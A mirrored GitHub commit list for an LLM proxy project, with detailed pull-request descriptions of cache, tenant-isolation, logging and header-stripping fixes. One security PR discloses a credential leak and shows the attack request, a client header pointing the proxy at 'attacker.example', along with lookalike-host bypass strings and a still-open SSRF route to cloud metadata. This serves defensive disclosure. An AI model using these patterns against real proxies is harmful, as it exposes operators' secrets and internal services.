mirror of
https://github.com/headroomlabs-ai/headroom.git
synced 2026-11-22 15:10:00 +08:00
feat/https-compose-caddy
6
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
9553d4292f |
fix(cache): retain prefix trackers for the provider cache lifetime (#4023)
## Description Session cleanup currently drops prefix trackers after the default 600-second session lifetime even when Anthropic's request selects a one-hour cache TTL. Losing the tracker also loses the frozen forwarded prefix and causes the cache-preserving overlay to replay different bytes. Closes #4017. ## Type of Change - [x] Bug fix - [x] Documentation update ## Changes Made - Resolve the request's existing Anthropic cache TTL before selecting the prefix lineage and pass that TTL through tracker selection/creation. - Retain each lineage for the greater of the configured session floor and its observed/current provider TTL plus the existing 60-second safety margin. - Keep the lifetime per lineage rather than changing global configuration: a five-minute session does not inherit another session's one-hour lifetime. - Preserve normal expiry beyond the provider lifetime and margin. - Honor configured cache TTL before a confirmed cache write; discard expired state before accepting a later request's longer TTL. - Re-register the live lineage family after lookup/cleanup so recreated sessions cannot share a tracker's frozen state across sibling conversations or tool profiles. - Update existing fake callbacks to the changed tracker contract, preserve all consumer byte-stability assertions, and remove one handler-to-store wiring-only test rather than re-pinning its internal identity assertions. - Document local tracker retention separately from provider cache availability. ## Testing - [x] Unit tests pass (`pytest`), including frozen-prefix byte stability and independent TTL expiry. - [x] Changed-file lint, configured pre-commit mypy and manual production timestamp/overlay checks pass. ### Test Output ```text Review correction: 273 passed, 2 dependency warnings in 83.79s {"expires_beyond_provider_ttl_and_margin": true, "five_minute_session_evicted": true, "forwarded_prefix_byte_exact": true, "initial_frozen": 1, "one_hour_session_retained": true, "resolved_ttl_seconds": 3600, "resumed_frozen": 1, "same_tracker_after_660s": true} ``` The mandatory pre-push `make ci-precheck` passed: workspace Rust fmt/clippy/tests, native extension build/import verification, the complete configured Python gate, and Commitlint. The native gate explicitly used the installed CPU `libonnxruntime.so.1.26.0` via `ORT_DYLIB_PATH`, without skipping cached-model assertions. ```text [build_rust_extension] headroom._core build + install + verify: OK ================== 177 passed, 4 skipped, 1 warning in 12.87s ================== ✅ ci-precheck PASSED — safe to push. ``` ```sh python -m pytest -q tests/test_cache/test_prefix_tracker.py python -m pytest -q tests/test_proxy_anthropic_cache_stability.py tests/test_cache_prefix_overlay.py tests/test_cache_ttl_preserved.py tests/test_cold_prefix.py ``` **74 passed** in tracker tests; **54 passed** in request/cache tests (one existing Starlette TestClient deprecation warning). Two new regressions fail on baseline because the request TTL is not accepted; a separate production runtime comparison demonstrates the actual pre-fix loss, not just the missing parameter. After rebasing onto current main `1ad92f0cbc3dea27676e253588100f64a2af6994`, ran those suites together with `tests/test_prefix_tracker_client_rewrote_reply.py`, `tests/test_cache_mode_delta_marker.py`, and `tests/test_content_router_mcp_small_result.py`: **150 passed**. The actual production timestamp/byte-retention smoke was repeated successfully on the rebased code, covering compatibility with main's newly merged client-reply normalization. Review regression and affected HTTP-consumer suite: **273 passed**, including tracker expiry, Anthropic/OpenAI cache stability, byte-faithful forwarding, header isolation, buffered timeouts, CCR injection, and immutable system prompts. All affected two-argument test callbacks now accept the TTL contract. The obsolete walker-call-order test was removed; wire-byte assertions remain. The new configured-TTL/expiry cases fail against the published baseline; the post-cleanup regression also verifies that an unrelated conversation gets a different tracker after recreation. Changed-file Ruff, formatting, installed pre-commit `mypy headroom`, and Commitlint hooks passed. Full-tree Ruff is locally blocked by executable filesystem permissions on five unchanged OAuth2 plugin files (tracked 100644). A separate full dev-environment mypy run found an unchanged optional LangChain `truthy-function` error; the configured isolated pre-commit hook passed. No unrelated source/permissions changed. ## Real Behavior Proof - Environment: Linux x86_64, CPython 3.13.14; unchanged `dea9092e19385f286b7f67a64f4d85de2708d756` and this branch; real `SessionTrackerStore`, `PrefixCacheTracker`, request TTL parser, token estimator and `overlay_cached_prefix`, no mocked store or mocked clock. - Exact command / steps: parse `cache_control: {type: ephemeral, ttl: 1h}` for `claude-sonnet-4-5`; establish one real cache-write-confirmed frozen message with different original/forwarded prefix bytes; age `_last_activity` to `time.time()-660` and make periodic cleanup due; resume the same lineage and compare the tracker, frozen count, and forwarded-prefix bytes. Also age beyond 3901 seconds and compare independent 300/3600-second sessions. - Before: resolved TTL 3600; after 660 seconds, tracker identity changes, frozen count drops **1→0**, and forwarded-prefix bytes differ. - Observed result: after the fix, after 660 seconds the same tracker remains, frozen count stays **1**, and forwarded-prefix bytes are identical. The one-hour session survives independently, the five-minute session expires, and the one-hour lineage still expires beyond TTL plus margin. - Review runtime proof against published head `e1a107df`: actual stores and prefix overlays confirm configured TTL retention before the first cache write, no resurrection of expired state by a later one-hour request, eventual expiry, and separate trackers after the maintainer's 3901-second cleanup/recreation sequence. On that exact baseline the unrelated lookup reuses the wrong tracker, although the overlay guard preserves the particular unrelated input bytes; after the fix both identity isolation and byte preservation hold. Identical messages under different tool profiles also receive a cold, separate tracker after the expired bare-key transition. - Not tested: Anthropic cloud cache availability, billed savings, or an actual one-hour wait. The local production state and byte invariants were exercised by aging actual timestamps, not by a paid upstream request. Preserving a tracker cannot guarantee that the provider retains its cache. ## Runtime Rollout Safety - Rollout-managed feature(s): none; repair of existing TTL-aware cache-prefix behavior. - Minimum rollout channel: stable; no rollout-managed feature is enabled. - Stable/default behavior changed: eligible local prefix trackers survive for their provider cache lifetime. Short-TTL/default sessions remain bounded by their own session floor. - Kill switch / disable path: the existing prefix-freeze disable path remains available; no new flag. - Unsafe override required: no. - Qualification impact: local Anthropic prefix lineage selection/retention, not cache pricing or subscription quota policy. - Rollback path: revert the commit to restore previous retention. No persistent schema change. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Checklist - [x] Existing cache TTL parser and safety margin reused; cache docs updated. - [x] Regressions cover frozen-byte retention, expiry, mixed lifetimes, and existing request byte-stability behavior. - [x] `CHANGELOG.md` not edited; Conventional Commit title supplied. Remote CI results are not inferred from local verification. --------- Co-authored-by: JD Davis <mxjerrett@gmail.com> |
||
|
|
f90a56b038 |
fix(proxy): F3 — per-tenant TOIN learning key (#404)
## Description
This change isolates TOIN learning by tenant in shared-proxy
deployments. Each pattern key gains a tenant namespace derived from a
configurable sanitized header, a stable auth/token hash, or the
backwards-compatible global namespace. Legacy keys migrate to global and
every resolution path emits a structured event.
## Threat model
Pre-F3, every request's tool-call patterns aggregated into one global
pool keyed by `(auth_mode, model_family, sig_hash)`. That works for an
OSS single-tenant deploy, but in a multi-tenant SaaS / shared-proxy
deploy:
1. **Cross-tenant pattern leakage.** Tenant A's compression patterns
silently train recommendations the proxy then applies to tenant B's
requests, degrading both tenants' compression quality.
2. **Structural fingerprint exposure.** TOIN dumps include
`tool_signature_hash` per slice. With one shared pool, a user with read
access to a dump file learns the structural fingerprint of every other
tenant's tool surface.
F3 partitions: every TOIN store key gets a `tenant_key` prefix derived
from the inbound request. Two distinct tenants therefore train two
isolated pattern pools.
## Tenant key derivation rules
| Source | When | Key derivation |
|------------|--------------------------------------------------------------|-------------------------------------------------------------------|
| `header` | `HEADROOM_TENANT_KEY_HEADER` (default
`X-Headroom-Tenant-ID`) is present and survives sanitization | Sanitized
header value (ASCII alphanum + `-_`, max 64 chars) |
| `hash` | No header but bearer token + `auth_mode` (from F1) present |
`sha256(f"{auth_mode}:{api_key_prefix}")[:24]` (api_key_prefix = first 8
chars of bearer); same SHA-256[:24] idiom as PR #395 |
| `global` | Neither header nor bearer present (OSS single-tenant / dev)
| Literal `"global"` namespace; pre-F3 patterns migrate here on first
load |
Header path takes precedence over hash. Header values that sanitize to
empty (pure unicode / control chars only) fall through to the next rule.
## Configuration
Single env var: `HEADROOM_TENANT_KEY_HEADER`. Default
`X-Headroom-Tenant-ID`. The header NAME is configurable; the
sanitization rules and the `"global"` literal are NOT — they're
load-bearing for namespace isolation.
## Structured log fields
Every resolution path emits exactly one `tenant_key_resolved` log event
(no silent fallbacks per `feedback_no_silent_fallbacks.md`):
| Field | Always present | Notes |
|--------------|----------------|------------------------------------------------|
| `event` | yes | Always `"tenant_key_resolved"` |
| `tenant_key` | yes | Resolved key (or `"global"`) |
| `source` | yes | One of `header` / `hash` / `global` |
| `header` | header path | Header name that matched |
| `auth_mode` | hash path | `payg` / `oauth` / `subscription` |
Operators can alert on a sustained `source="global"` rate to spot
mis-configured upstream auth proxies.
## Implementation
- **NEW** `headroom/proxy/tenant_key.py`: pure resolver. Public surface
= `resolve_tenant_key(request) -> tuple[str, str]`. Plus
`set_request_tenant_key()` / `get_current_tenant_key()` ContextVar pair
so TOIN's deep-stack `record_compression` calls observe the right tenant
slice.
- `headroom/telemetry/toin.py`: extends `PatternKey` from a 3-tuple to a
4-tuple `(tenant_key, auth_mode, model_family, sig_hash)`.
`_deserialize_pattern_key` is backward-compat with both pre-F3 formats
(3-tuple from PR-B5, bare `sig_hash` from v1.0). `record_compression` /
`record_retrieval` / `get_pattern` accept an optional `tenant_key`
kwarg; when absent they read from the ContextVar.
- `headroom/cli/toin_publish.py`: each `[[recommendation]]` row now
carries `tenant_key`; rows sort by `(tenant_key, auth_mode,
model_family, sig_hash)` for clean diffs.
- `headroom/proxy/handlers/anthropic.py` +
`headroom/proxy/handlers/openai.py`: call `resolve_tenant_key(request)`
once at request entry, right after the F1 `classify_auth_mode` block.
Three call sites total (1 Anthropic, 2 OpenAI). Result attached to
`request.state.tenant_key` / `request.state.tenant_key_source` AND set
on the ContextVar.
## Realignment build constraints (per project memory)
- **configurable**: `HEADROOM_TENANT_KEY_HEADER` env var.
- **no hardcodes**: header name + `"global"` literal are the only
constants; both motivated and documented in code.
- **no regexes**: sanitization uses string ops +
`unicodedata.category()`.
- **no silent fallbacks**: every resolution emits a structured log
event.
- **comprehensive tests**: header / hash / global paths + sanitization
edges + tenant-isolation property test.
- **structured logs**: `event=tenant_key_resolved` with `tenant_key`,
`source`, optional `header` / `auth_mode`.
## Test plan
- [x] `pytest tests/test_tenant_key.py` (29 cases — header / hash /
global paths, structured-log emission, sanitization edges, ContextVar
round-trip)
- [x] `pytest tests/test_toin_observation_only.py` (6 new isolation
cases — two-tenant divergence, ContextVar read, explicit kwarg
precedence, default migration to `"global"`)
- [x] `pytest tests/test_toin*.py` (existing TOIN tests updated for the
4-tuple key shape)
- [x] `pytest tests/test_proxy_tenant_key_integration.py` (4 cases —
handler wires `request.state.tenant_key` + ContextVar through all three
resolution paths)
- [x] `pytest tests/test_critical_fixes.py tests/test_critical_gaps.py
tests/test_proxy_ccr.py` (legacy 3-tuple references updated)
- [x] `make ci-precheck-python` — 176 tests pass (passed via pre-push
hook)
- [x] `make ci-precheck-commitlint` — clean (passed via pre-push hook)
Refs: F1 (PR #399, auth_mode classifier), F2.1 (PR #400, per-auth-mode
CompressionPolicy gates).
## Type of Change
- [x] Bug fix / tenant-isolation hardening
- [ ] New feature
- [ ] Breaking change
- [x] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring
## Changes Made
- Add a pure tenant-key resolver and request ContextVar.
- Extend TOIN pattern keys and published recommendations with a tenant
namespace while preserving legacy deserialization.
- Resolve and attach tenant identity at Anthropic and OpenAI request
entry.
- Add isolation, migration, sanitization, header, CCR, handler, and
executor coverage.
## Testing
- [x] Focused tenant/TOIN/proxy tests pass
- [x] Python CI precheck passes
- [x] Commitlint precheck passes
### Test Output
```text
176 focused/precheck tests passed
Current-main isolation, migration, header, CCR, and executor validation: green
```
## Real Behavior Proof
- Environment: current-main reconciled Python proxy/TOIN test
environment.
- Exact command / steps: ran tenant resolver, TOIN observation/publish,
handler integration, header-isolation, CCR, and compression-executor
suites.
- Observed result: distinct tenants train isolated pattern pools; legacy
patterns migrate to global; request handlers propagate the resolved
namespace through deep TOIN calls.
- Not tested: production multi-tenant traffic volume or an external TOIN
dump consumer.
## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review
---------
Co-authored-by: JD Davis <jd@jds-macbook-air.tail2a279.ts.net>
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
|
||
|
|
1f96dabc19 |
fix(security): address u9up assessment findings (WEB-01–07) (#2207)
Hardens client-selected upstreams, memory identity resolution, downloaded binary integrity, telemetry import, Docker defaults, Neo4j credentials, and archive extraction. Refreshes the branch against current main and preserves newer same-origin and loopback protections. |
||
|
|
05f5ef47cb |
fix(proxy): stop operator secrets following a client-chosen upstream (#3122)
## Description `x-headroom-base-url` lets a client choose the upstream for a single request — a deliberate, documented feature for routing to OpenAI-compatible gateways. `*_extra_headers` is operator-configured, marked `secret=True` in the settings store, and its own help text uses an API key as the example value. The two met in the wrong order: ``` openai.py:3127 headers = merge_extra_headers(headers, self.config.openai_extra_headers) openai.py:3134 upstream_base_url = _resolve_openai_upstream_base(request.headers) ``` The secret was merged **before** the destination was resolved. So: ``` POST /v1/messages X-Headroom-Base-Url: https://attacker.example ``` reached the attacker's host **carrying the operator's gateway key**. One request, no user interaction, from anything able to reach the proxy port — a malicious postinstall script, a compromised transitive dep, a second agent session. Same shape on the Anthropic Messages route (`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose override resolves 300 lines later at `:5420`). Without `*_extra_headers` configured the same primitive is still a plain SSRF, but that is the pre-existing behavior of a documented feature; **this PR fixes the credential leak, not the routing.** ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) ## Changes Made - **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret only travels to a host the operator designated: one of the resolved provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`. This is the rule `copilot_auth.is_copilot_upstream_url` already applies to Headroom's own Copilot token, generalized. - **`merge_extra_headers` now takes a required keyword-only `upstream_url`.** This is the actual fix. An optional parameter would have closed three call sites and left the tenth forwarder free to reintroduce the bug; a required one means a forwarder *cannot merge a secret without declaring where it goes*. All nine call sites updated — the three client-controllable ones pass the resolved override, the six config-derived ones pass `None`. - Undesignated upstreams are **still proxied**, just without the secret, and the refusal logs once per host (not per request) with the remedy in the message. - Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`. Matching is on the parsed hostname, never the URL string. Whole-string comparison lets `https://api.anthropic.com@evil.example` through, and makes a base URL match while base+path does not — that exact asymmetry is how a gate ends up covering routing but not the credential attach. Exact hostname equality, no wildcards. ## Testing - [x] Unit tests pass (`pytest`) - [x] Integration tests pass - [x] Manual testing performed ### Test Output ```text tests/test_upstream_credential_scoping.py 15 passed (new) Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"): 3340 passed, 163 skipped, 1 failed in 164.56s The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline ("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing: it fails identically on a clean origin/main worktree. ruff check: All checks passed ruff format --check: 7 files already formatted mypy headroom/proxy/upstream_trust.py: Success, no issues found ``` ## Real Behavior Proof - Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off `main`, `_core.abi3.so` copied in so the extension imports. - Exact command / steps: built the exploit as an end-to-end test — a `TestClient` app with `anthropic_extra_headers={"Api-Key": "corp-gateway-secret"}` and a capturing transport, then `POST /v1/messages` with `X-Headroom-Base-Url: https://attacker.example`, asserting on the headers the transport actually received. **Then disabled only the new gate (leaving the signature intact) to confirm the test reproduces the original vulnerability.** - Observed result: with the gate disabled the test fails with the secret visibly on the wire — ``` AssertionError: assert 'api-key' not in {..., 'api-key': 'corp-gateway-secret', ...} ``` With the gate restored, 15/15 pass. The companion test asserts the request still reached `attacker.example` and still carried the *client's* own `x-api-key`, so the fix withholds the operator's credential without breaking the routing feature or the client's auth. Lookalike hosts (`api.anthropic.com@evil.example`, `api.anthropic.com.evil.example`, scheme-less values, `://`) are covered by parametrized cases. - Not tested: no live upstream was contacted — all uses a capturing `httpx` transport. The WebSocket forwarders (`openai.py:6606`, `codex/live.py:131`) pass `upstream_url=None` because their destination is config-derived; that classification is verified by reading the callers (`_api_target(proxy, "openai")`, `codex_responses_websocket_url()`), not by a test. ## Runtime Rollout Safety - Rollout-managed feature(s): None. - Minimum rollout channel: n/a - Stable/default behavior changed: **Yes, deliberately.** If an operator today configures `*_extra_headers` *and* routes via `x-headroom-base-url` to a host that is not a configured provider target, those headers stop being sent. That is the vulnerability, so the change is the point — but it is a real behavior change for that setup, which is why the log line names the host and the env var to fix it. - Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>` restores delivery for a named host. There is deliberately no global "off". - Unsafe override required: No. - Qualification impact: None. - Rollback path: Revert the commit. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Additional Notes Found during the same audit, **not fixed here** — each wants its own change: - **The plain SSRF remains by design.** With no `*_extra_headers` configured, a client can still make the proxy issue an arbitrary request to an arbitrary host (cloud metadata at `169.254.169.254`, internal admin panels) and read the response. Closing that means either an opt-in requirement for the header or private-IP blocking, and private-IP blocking would break the common local-gateway setup (LiteLLM on `127.0.0.1`). Worth a deliberate decision rather than a silent change here. - **CORS is the only thing keeping this off the web.** `x-headroom-base-url` is a non-simple header so it forces a preflight, and the default origin regex is loopback-only. Setting `HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web page. - The `/v1/*` data plane has no authentication for loopback callers even when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback), so "any local process" is the realistic attacker for all of the above. Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local> |
||
|
|
e5b3a634df |
fix(proxy): dedupe Codex WS request logging for accurate mixed-provider dashboards (#2189)
## Description Running Claude Code (Anthropic) and Codex (OpenAI) against the **same** Headroom proxy instance on one port produced incorrect, unstable dashboard data. The proxy core is provider-isolated and multi-provider-safe by design; the defect was in the observability layer. The Codex `/v1/responses` **WebSocket** handler was the only path in the proxy that wrote to the request logger by hand instead of through the unified `emit_request_outcome` funnel, and it did so twice per session close: the per-turn funnel record plus an unconditional cumulative session-summary `RequestLog`. This PR removes the duplicate summary log so Codex WS emits exactly one request log per turn, matching the HTTP provider paths. ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) - [ ] New feature (non-breaking change that adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to change) - [ ] Documentation update - [ ] Performance improvement - [ ] Code refactoring (no functional changes) ## Changes Made - Dropped the duplicate cumulative session-summary `RequestLog` in the Codex WS handler while preserving the per-turn `emit_request_outcome` path. - Preserved gated `request_messages` and `turn_id` on residual outcomes so dashboard telemetry keeps the useful attribution without double-counting tokens. - Ensured explicit `--anyllm-provider` wins over a leaked `HEADROOM_ANYLLM_PROVIDER` environment variable. - Registered retry delay settings that had drifted out of the settings registry. - Hardened tests against developer-shell `HEADROOM_*` / `ANTHROPIC_CUSTOM_HEADERS` leakage and stabilized several focused proxy/wrap test fixtures. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [ ] Type checking passes (`mypy headroom`) - [x] New tests added for new functionality - [x] Manual testing performed ### Test Output ```text $ .venv/bin/pytest tests/ -q -p no:cacheprovider 8529 passed, 537 skipped, 5831 warnings in 276.25s (0:04:36) $ .venv/bin/ruff check <touched files> All checks passed! ``` ## Real Behavior Proof - Environment: macOS (Darwin 25.4.0), Python 3.13.14, pytest 9.0.3, ruff via project venv, branch `fix/multi-provider-runtime`. - Exact command / steps: Ran the full test suite without pytest cache provider and Ruff on all touched files; used `git stash` to confirm the stale fake-config failures pre-existed this change. - Observed result: Full suite passed with no failures; Ruff passed; Codex WS now routes end-of-session logging through `emit_request_outcome`, emitting one request log per turn with the same accounting model as Anthropic HTTP turns. - Not tested: Live simultaneous Claude + Codex dashboard run. `mypy headroom` was not run to completion; a scoped run reported one pre-existing `settings_store.py:470` coercion error outside this diff. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Checklist - [x] My code follows the project's style guidelines - [x] I have performed a self-review of my code - [x] I have commented my code, particularly in hard-to-understand areas - [ ] I have made corresponding changes to the documentation - [x] My changes generate no new warnings - [x] I have added tests that prove my fix is effective or that my feature works - [x] New and existing unit tests pass locally with my changes - [ ] I have updated the CHANGELOG.md if applicable ## Screenshots (if applicable) N/A - server-side observability fix; no UI markup changed. ## Additional Notes - The proxy's multi-provider routing, header/auth isolation, and per-model cache keying are already correct and unchanged here; only the WS observability write path was double-counting. - Architectural assessment: `plans/reports/research-260714-0004-multi-provider-upstream-compression-report.md`; root-cause + resolution trail: `plans/reports/debug-assessment-260714-0011-dashboard-instability-mixed-claude-codex-report.md`. - No live simultaneous Claude + Codex dashboard run was performed; validation is from test coverage and code review of the WS logging path. --------- Co-authored-by: JerrettDavis <mxjerrett@gmail.com> |
||
|
|
2e874c5e3e |
fix: A5 — strip x-headroom-* from upstream-bound headers (P5-49)
Eliminate P5-49: every Python forwarder and the Rust transparent proxy
now drop internal `x-headroom-*` request headers (`x-headroom-bypass`,
`x-headroom-mode`, `x-headroom-user-id`, `x-headroom-stack`,
`x-headroom-base-url`) before the upstream call. Stops fingerprinting
of the proxy by subscription-revocation enforcers and prevents leakage
of internal user-id / stack / base-url internals to whichever vendor
terminates the request.
Python:
- `_strip_internal_headers(headers)` in `headroom/proxy/helpers.py`
returns a NEW dict with `x-headroom-*` keys removed (case-insensitive
prefix match, no regex). Pure function. Operator opt-in
`HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps internal headers in
the upstream-bound dict for diagnostic shadow tracing — explicit, not
a fallback.
- Strip applied at every handler entry capture in `anthropic.py`,
`openai.py`, `batch.py`, `gemini.py` (chat completions, responses,
WebSocket handshake, Copilot passthrough, batch passthroughs, Gemini
generate / stream / countTokens / cloudcode-assist, Anthropic
passthrough + batch results). Inbound reads of x-headroom (bypass
gating, memory user-id) migrated to `request.headers.get(...)` so
they continue working off the original dict.
- `log_outbound_headers` emits `event=outbound_headers forwarder=...
stripped_count=N request_id=...` per call. Never logs header values.
Rust (crates/headroom-proxy):
- `strip_internal_headers(&mut HeaderMap)` and `is_internal_header`
helpers in `src/headers.rs`. `build_forward_request_headers` accepts
a `strip_internal: bool` so the same path serves HTTP and WebSocket.
- `Config::strip_internal_headers: StripInternalHeaders` driven by CLI
flag `--strip-internal-headers` and env var
`HEADROOM_PROXY_STRIP_INTERNAL_HEADERS` (default `enabled`).
- `proxy.rs` and `websocket.rs` call `build_forward_request_headers`
with the resolved policy; structured `tracing::info!` /
`tracing::warn!` line per request describes the strip decision.
Tests: 24 Python (`tests/test_header_isolation.py`) + 4 Rust
integration (`crates/headroom-proxy/tests/integration_headers.rs`) +
4 Rust unit tests in `headers.rs`. Covers every named header
(`bypass`, `mode`, `user-id`, `stack`, `base-url`), case-insensitive
prefix matching, legitimate-headers passthrough, the `disabled`
operator-opt-in mode, and that the inbound bypass-gating read path
is unaffected by the strip.
Acceptance: targeted `pytest -x` suite green (87 tests across
test_header_isolation, test_proxy_byte_faithful_forwarding,
test_proxy_anthropic_cache_stability, test_proxy_system_prompt_immutable,
test_proxy_openai_cache_stability, test_proxy_pipeline_lifecycle).
`cargo test -p headroom-proxy` green (23 tests across all integrations
plus 7 lib unit tests). `cargo clippy -p headroom-proxy -- -D warnings`
clean. `cargo fmt --all -- --check` clean. `cargo test --workspace`
green (~900 tests total).
Per realignment build constraints: configurable (env + CLI), no
hardcodes, no regex (pure `.lower().starts_with()` match), no silent
fallbacks (`disabled` is loud operator opt-in), structured logs
(`event=outbound_headers`).
Remaining `x-headroom-` references in `headroom/proxy/handlers/` are
inbound-read sites only: `request.headers.get("x-headroom-bypass")` /
`x-headroom-mode` for behavior gating, `request.headers.get
("x-headroom-user-id")` for memory user-id resolution, and `ws_headers
.get(...)` on the WebSocket inbound path. Response-side `X-Headroom-*`
injection (e.g. `x-headroom-tokens-saved`) is unrelated to upstream
forwarding and untouched.
|